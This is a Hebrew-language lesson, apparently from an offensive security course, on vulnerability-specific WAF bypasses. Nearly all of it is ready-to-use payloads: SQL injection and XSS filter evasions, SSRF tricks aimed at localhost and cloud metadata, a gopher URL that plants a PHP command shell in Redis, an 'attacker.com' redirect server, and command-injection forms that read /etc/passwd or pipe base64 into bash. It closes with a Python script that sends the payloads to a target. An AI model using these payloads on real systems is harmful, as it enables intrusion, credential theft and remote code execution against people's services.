לדלג לתוכן

עקיפת WAF לכל חולשה - Vulnerability-specific WAF Bypass

מבוא

בשיעורים הקודמים למדנו טכניקות עקיפה כלליות: קידוד, HPP, Unicode, ופרוטוקול. בשיעור זה נתמקד בעקיפות ספציפיות לכל סוג חולשה. לכל חולשה יש תחביר חלופי, טריקים ייחודיים ושיטות שמנצלות את הגמישות של השפה או הפרוטוקול הרלוונטי.


עקיפת WAF ל-SQLi

הערות כתחליף רווח

-- WAF חוסם: UNION SELECT
-- עקיפה עם הערות
UNION/**/SELECT
UNION/*anything*/SELECT
UNION/*aaaaaaaaaa*/SELECT

-- MySQL - הערות מותנות
/*!UNION*//*!SELECT*/
/*!50000UNION*//*!50000SELECT*/

ערבוב גודל אותיות - Case Mixing

-- WAF חוסם: UNION SELECT (case insensitive? לא תמיד)
uNiOn SeLeCt
UnIoN sElEcT
UNION SElect

-- שילוב עם הערות
uNiOn/**/SeLeCt

מילות מפתח חלופיות

-- במקום UNION SELECT
UNION ALL SELECT
UNION DISTINCT SELECT
UNION ALL DISTINCT SELECT

-- במקום OR
|| (במקום OR)
&& (במקום AND)

-- במקום = (שוויון)
LIKE
REGEXP
RLIKE
BETWEEN x AND x
IN (x)
NOT <> (כפול שלילה)

טכניקות ללא רווחים - No-space Techniques

-- סוגריים כתחליף רווח
SELECT(username)FROM(users)
UNION(SELECT(1),(2),(3))

-- שילוב
(1)UNION(SELECT(username),(password)FROM(users))

-- MySQL - סוגריים מסולסלים
{fn CONCAT(0x61,0x62)}

בניית מחרוזות עם פונקציות

-- CONCAT
SELECT CONCAT(0x61,0x64,0x6d,0x69,0x6e)
-- = "admin"

-- CHAR
SELECT CHAR(97,100,109,105,110)
-- = "admin"

-- מחרוזות hex
SELECT 0x61646d696e
-- = "admin"

-- CHR (Oracle/PostgreSQL)
SELECT CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110)
-- = "admin"

-- שילוב: WAF חוסם 'admin', נשתמש ב-hex
SELECT username, password FROM users WHERE username = 0x61646d696e

פונקציות השהייה חלופיות - Alternative Sleep

-- WAF חוסם SLEEP()
-- MySQL
BENCHMARK(10000000, SHA1('test'))
GET_LOCK('lock', 10)

-- PostgreSQL
pg_sleep(10)

-- SQL Server
WAITFOR DELAY '0:0:10'

-- Oracle
DBMS_PIPE.RECEIVE_MESSAGE('x', 10)

-- דוגמה מלאה
1' AND IF(1=1,BENCHMARK(10000000,SHA1('a')),0)--

אופרטורים חלופיים

-- WAF חוסם OR ו-AND
-- שימוש באופרטורים ביטיים
1' || 1=1--         -- במקום OR
1' && 1=1--         -- במקום AND

-- XOR
1' ^ (SELECT 1)--

-- NOT
1' !(0)--

סימון מדעי - Scientific Notation

-- הטריק: 1e0 הוא מספר חוקי (1 * 10^0 = 1)
-- אבל ה-WAF לא מזהה את הדפוס

1e0UNION SELECT 1
1.0UNION SELECT 1

-- דוגמה מלאה
1'e0UNION(SELECT(password)FROM(users))WHERE'1'='1

עקיפת פילטרים ספציפיים

-- WAF חוסם: information_schema
-- חלופות ב-MySQL
SELECT table_name FROM mysql.innodb_table_stats
SELECT column_name FROM mysql.innodb_columns (MySQL 8+)

-- WAF חוסם: WHERE
-- שימוש ב-HAVING
SELECT username FROM users GROUP BY username HAVING username LIKE 'admin'

-- WAF חוסם: גרש '
-- שימוש ב-backslash
1\' UNION SELECT 1--

-- WAF חוסם: הערות --
-- סיום חלופי
1' UNION SELECT 1;%00
1' UNION SELECT 1#
1' UNION SELECT '1

עקיפת WAF ל-XSS

Event Handlers חלופיים

<!-- WAF חוסם: onerror, onload, onclick -->

<!-- event handlers פחות נפוצים -->
<img src=x onmouseover=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<details ontoggle=alert(1) open>
<body onresize=alert(1)>
<video onloadstart=alert(1)><source>
<audio onloadstart=alert(1)><source>
<object onerror=alert(1)>
<svg onload=alert(1)>

<!-- Animation events -->
<style>@keyframes x{}</style>
<div style="animation-name:x" onanimationstart=alert(1)>

<!-- Transition events -->
<div style="transition:1s" ontransitionend=alert(1)>

תגיות HTML5

<!-- WAF חוסם: <script>, <img>, <iframe> -->

<!-- תגיות חלופיות -->
<svg onload=alert(1)>
<svg/onload=alert(1)>
<math><mtext><table><mglyph><svg><mtext><textarea><path id=x d="M0 0"/></textarea></mtext></svg></mglyph></table></mtext></math>

<!-- details/summary -->
<details open ontoggle=alert(1)>

<!-- embed -->
<embed src="javascript:alert(1)">

<!-- object -->
<object data="javascript:alert(1)">

<!-- marquee (deprecated but works) -->
<marquee onstart=alert(1)>test</marquee>

פונקציות JavaScript חלופיות

// WAF חוסם: alert()
confirm(1)
prompt(1)
console.log(1)
print()  // בחלק מהדפדפנים
document.write(1)
window.alert(1)
self.alert(1)
top.alert(1)
parent.alert(1)
this.alert(1)
globalThis.alert(1)

// גישה דרך bracket notation
window['alert'](1)
window['al'+'ert'](1)
self['alert'](1)
this['alert'](1)

// שימוש ב-Function constructor
Function('alert(1)')()
new Function('alert(1)')()
[].constructor.constructor('alert(1)')()

Template Literals

// WAF חוסם סוגריים ()
// template literals לא דורשים סוגריים עם tagged templates

alert`1`
confirm`1`
prompt`1`

// עם ביטוי
`${alert(1)}`

// tagged template
String.raw`${alert(1)}`

JavaScript ללא סוגריים

// WAF חוסם ()
// שימוש ב-throw ו-onerror
onerror=alert;throw 1

// setter
Object.defineProperty(window,'x',{set:alert});x=1

// toString/valueOf
{toString:alert}+''

// import (ES modules)
import('data:text/javascript,alert(1)')

// location assignment
location='javascript:alert(1)'

קידוד ב-Event Handlers

<!-- הדפדפן מפענח HTML entities בתוך attributes -->
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;(1)">

<!-- hex entities -->
<img src=x onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;(1)">

<!-- שילוב -->
<img src=x onerror="&#97;l&#101;rt(1)">

XSS ללא תגיות בהקשרים ספציפיים

// הקשר: בתוך מחרוזת JavaScript
// הקלט נכנס לתוך: var x = 'USER_INPUT';
';alert(1)//
'-alert(1)-'
'+alert(1)+'

// הקשר: בתוך attribute
// הקלט נכנס לתוך: <div class="USER_INPUT">
" onmouseover=alert(1) x="
" autofocus onfocus=alert(1) x="

// הקשר: בתוך JavaScript template literal
// הקלט נכנס לתוך: var x = `USER_INPUT`;
${alert(1)}

עקיפת WAF ל-SSRF

ערפול כתובות IP - IP Obfuscation

# כתובת רגילה: 127.0.0.1
# ייצוגים חלופיים:

# עשרוני (decimal)
http://2130706433    # 127*256^3 + 0*256^2 + 0*256 + 1

# הקסדצימלי
http://0x7f000001
http://0x7f.0x0.0x0.0x1

# אוקטלי
http://0177.0000.0000.0001
http://0177.0.0.1

# ערבוב
http://0x7f.0.0.1        # hex + decimal
http://0177.0.0.0x1       # octal + hex
http://0x7f.1             # חלקי

# IPv6
http://[::1]
http://[0:0:0:0:0:0:0:1]
http://[::ffff:127.0.0.1]
http://[0000:0000:0000:0000:0000:0000:0000:0001]

# IPv6 מקוצר
http://[::1]:80
http://[0::1]
import struct
import ipaddress

def obfuscate_ip(ip):
    """יצירת ייצוגים חלופיים של כתובת IP"""
    parts = [int(p) for p in ip.split('.')]

    # decimal
    decimal = struct.unpack('!I', bytes(parts))[0]

    # hex
    hex_full = '0x' + ''.join(f'{p:02x}' for p in parts)

    # octal
    octal = '.'.join(f'0{p:o}' for p in parts)

    print(f"מקורי:    {ip}")
    print(f"עשרוני:   http://{decimal}")
    print(f"הקסדצימלי: http://{hex_full}")
    print(f"אוקטלי:   http://{octal}")
    print(f"IPv6:     http://[::ffff:{ip}]")

obfuscate_ip("127.0.0.1")
obfuscate_ip("169.254.169.254")  # AWS metadata
obfuscate_ip("10.0.0.1")

DNS שמצביע לכתובות פנימיות

# שימוש בדומיין שמפנה ל-127.0.0.1
http://localtest.me         # מפנה ל-127.0.0.1
http://127.0.0.1.nip.io     # מפנה ל-127.0.0.1
http://spoofed.burpcollaborator.net  # DNS rebinding

# רישום דומיין משלכם עם A record ל-127.0.0.1
http://internal.attacker.com  # A record -> 127.0.0.1

ניצול סכמות URL

# WAF חוסם http://127.0.0.1
# סכמות חלופיות
file:///etc/passwd
gopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0aINFO%0d%0a
dict://127.0.0.1:6379/INFO
ftp://127.0.0.1
tftp://127.0.0.1

# gopher לשליחת HTTP request דרך Redis
gopher://127.0.0.1:6379/_SET%20shell%20%22<%3Fphp%20system(%24_GET%5B'cmd'%5D)%3B%3F>%22

עקיפה דרך הפניות - Redirect-based Bypass

# שרת התוקף מחזיר 302 redirect לכתובת פנימית
# WAF בודק את ה-URL הראשוני (חיצוני), לא את יעד ההפנייה

# שרת התוקף
from flask import Flask, redirect
app = Flask(__name__)

@app.route('/redirect')
def redir():
    return redirect('http://169.254.169.254/latest/meta-data/')

# הבקשה:
# http://attacker.com/redirect -> 302 -> http://169.254.169.254/...

עקיפה דרך CNAME

# DNS CNAME שמצביע לשרת פנימי
# attacker.com CNAME -> internal-server.target.com
# WAF מאפשר בקשה ל-attacker.com (חיצוני)
# אבל ה-DNS resolves לכתובת פנימית

עקיפת WAF ל-Command Injection

תווים כלליים - Wildcards

# WAF חוסם: /etc/passwd
# שימוש ב-wildcards
/???/??ss??          # /etc/passwd
/???/??ss??          # /etc/passwd
cat /e?c/p?sswd
cat /e*c/p*d
cat /etc/passw?

# WAF חוסם: cat
/???/??t /???/??ss??
# = /bin/cat /etc/passwd

הרחבת משתנים - Variable Expansion

# WAF חוסם: id
# שימוש ב-hex escape ב-bash
$'\x69\x64'
# = id

# שימוש ב-octal
$'\151\144'
# = id

# שימוש ב-variable expansion
a=i;b=d;$a$b
# = id

# שימוש ב-env variables
${PATH:0:1}   # / (התו הראשון של PATH)
${LS_COLORS:10:1}   # תלוי בסביבה

החלפה ב-Backticks ו-$()

# WAF חוסם: id
`id`
$(id)

# שילוב
`$'\x69\x64'`

# קינון
$($(echo id))

IFS כתחליף רווח

# WAF חוסם רווחים
# IFS (Internal Field Separator) הוא רווח, טאב, שורה חדשה
cat${IFS}/etc/passwd
cat$IFS/etc/passwd

# שימוש ב-tab
cat /etc/passwd   # טאב בין cat ל-/etc/passwd

# שימוש ב-brace expansion
{cat,/etc/passwd}

# שימוש ב-שורה חדשה
cat%0a/etc/passwd

המשכיות שורה - Line Continuation

# WAF חוסם: cat
ca\
t /etc/passwd
# ה-\ בסוף שורה גורם להמשך לשורה הבאה

# WAF חוסם: /etc/passwd
cat /et\
c/pas\
swd

מרכאות להפרדה

# WAF חוסם: cat
c""at /etc/passwd
c''at /etc/passwd
c``at /etc/passwd

# WAF חוסם: passwd
cat /etc/pa""sswd
cat /etc/p'a'sswd

# WAF חוסם: whoami
w"h"o"a"m"i"
who''ami

עקיפות נוספות

# שימוש ב-base64
echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash
# Y2F0IC9ldGMvcGFzc3dk = "cat /etc/passwd"

# שימוש ב-rev (הפוך)
echo "dwssap/cte/ tac" | rev | bash

# שימוש ב-xxd
echo "636174202f6574632f706173737764" | xxd -r -p | bash

# שימוש ב-printf
$(printf '\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64')

ריכוז מטענים לכל סוג חולשה

טבלת SQLi

טכניקה מטען
הערות 1'/**/UNION/**/SELECT/**/1--
Case mixing 1' uNiOn SeLeCt 1--
ללא רווח 1'UNION(SELECT(1))
Hex SELECT 0x61646d696e
CHAR SELECT CHAR(97,100,109,105,110)
אופרטורים 1'||1=1--
מדעי 1'e0UNION SELECT 1--
MySQL conditional 1'/*!50000UNION*//*!50000SELECT*/1--

טבלת XSS

טכניקה מטען
SVG <svg onload=alert(1)>
Details <details open ontoggle=alert(1)>
ללא סוגריים <img src=x onerror=throw/1/+alert%261>
Template literal <img src=x onerror=alert`1`>
Confirm <img src=x onerror=confirm(1)>
Entities <img src=x onerror="&#97;lert(1)">
Function <img src=x onerror="Function('alert(1)')()">

טבלת SSRF

טכניקה מטען
עשרוני http://2130706433
הקסדצימלי http://0x7f000001
אוקטלי http://0177.0.0.1
IPv6 http://[::1]
IPv6 mapped http://[::ffff:127.0.0.1]
DNS http://localtest.me
Redirect http://attacker.com/redir

טבלת Command Injection

טכניקה מטען
Wildcards /???/??t /???/??ss??
Hex escape $'\x63\x61\x74'
Variable a=c;b=at;$a$b /etc/passwd
IFS cat${IFS}/etc/passwd
Continuation ca\
t /etc/passwd
מרכאות c""at /etc/passwd
Base64 echo Y2F0... \| base64 -d \| bash

סקריפט לבדיקת מטענים

import requests
from urllib.parse import quote

class WAFBypassTester:
    def __init__(self, target_url, param_name, method='GET'):
        self.target_url = target_url
        self.param_name = param_name
        self.method = method
        self.results = []

    def test_payload(self, payload, description=""):
        """בדיקת מטען בודד"""
        if self.method == 'GET':
            r = requests.get(self.target_url, params={self.param_name: payload})
        else:
            r = requests.post(self.target_url, data={self.param_name: payload})

        passed = r.status_code != 403
        self.results.append({
            'payload': payload,
            'description': description,
            'status': r.status_code,
            'passed': passed
        })
        return passed

    def test_sqli_bypasses(self, base_injection="1' UNION SELECT 1--"):
        """בדיקת עקיפות SQLi"""
        payloads = [
            (base_injection, "מקורי"),
            ("1'/**/UNION/**/SELECT/**/1--", "הערות במקום רווח"),
            ("1' uNiOn SeLeCt 1--", "ערבוב אותיות"),
            ("1'UNION(SELECT(1))", "סוגריים"),
            ("1'/*!50000UNION*//*!50000SELECT*/1--", "הערות MySQL"),
            ("1'||1=1--", "אופרטור OR"),
            ("1'e0UNION SELECT 1--", "סימון מדעי"),
            ("1' UNION ALL SELECT 1--", "UNION ALL"),
            ("-1' UNION%0aSELECT%0a1--", "שורות חדשות"),
            ("1'%09UNION%09SELECT%091--", "טאבים"),
        ]

        print("=== בדיקות SQLi ===")
        for payload, desc in payloads:
            passed = self.test_payload(payload, desc)
            status = "PASS" if passed else "BLOCKED"
            print(f"[{status}] {desc}: {payload[:60]}")

    def test_xss_bypasses(self, base_xss="<script>alert(1)</script>"):
        """בדיקת עקיפות XSS"""
        payloads = [
            (base_xss, "מקורי"),
            ("<svg onload=alert(1)>", "SVG"),
            ("<svg/onload=alert(1)>", "SVG ללא רווח"),
            ("<details open ontoggle=alert(1)>", "Details"),
            ("<img src=x onerror=confirm(1)>", "Confirm"),
            ("<img src=x onerror=alert`1`>", "Template literal"),
            ("<math><mtext><table><mglyph><svg><mtext><textarea><path d=M0 id=x>", "Math"),
            ("<input autofocus onfocus=alert(1)>", "Autofocus"),
            ("<marquee onstart=alert(1)>", "Marquee"),
            ("<img src=x onerror='&#97;lert(1)'>", "Entities"),
        ]

        print("\n=== בדיקות XSS ===")
        for payload, desc in payloads:
            passed = self.test_payload(payload, desc)
            status = "PASS" if passed else "BLOCKED"
            print(f"[{status}] {desc}: {payload[:60]}")

    def print_summary(self):
        """סיכום תוצאות"""
        total = len(self.results)
        passed = sum(1 for r in self.results if r['passed'])
        print(f"\n=== סיכום ===")
        print(f"סהכ: {total}, עברו: {passed}, נחסמו: {total - passed}")


# שימוש
tester = WAFBypassTester("http://target.com/search", "q")
tester.test_sqli_bypasses()
tester.test_xss_bypasses()
tester.print_summary()

סיכום

כל חולשה מציעה מרחב של תחביר חלופי. ב-SQLi - הערות, case mixing, סוגריים, ופונקציות. ב-XSS - תגיות HTML5, event handlers חלופיים, ופונקציות JavaScript חלופיות. ב-SSRF - ערפול כתובות IP ו-DNS. ב-Command Injection - wildcards, הרחבת משתנים, ומרכאות. השילוב של טכניקות ספציפיות לחולשה עם טכניקות עקיפה כלליות (קידוד, HPP, פרוטוקול) מייצר כמות כמעט אינסופית של אפשרויות עקיפה.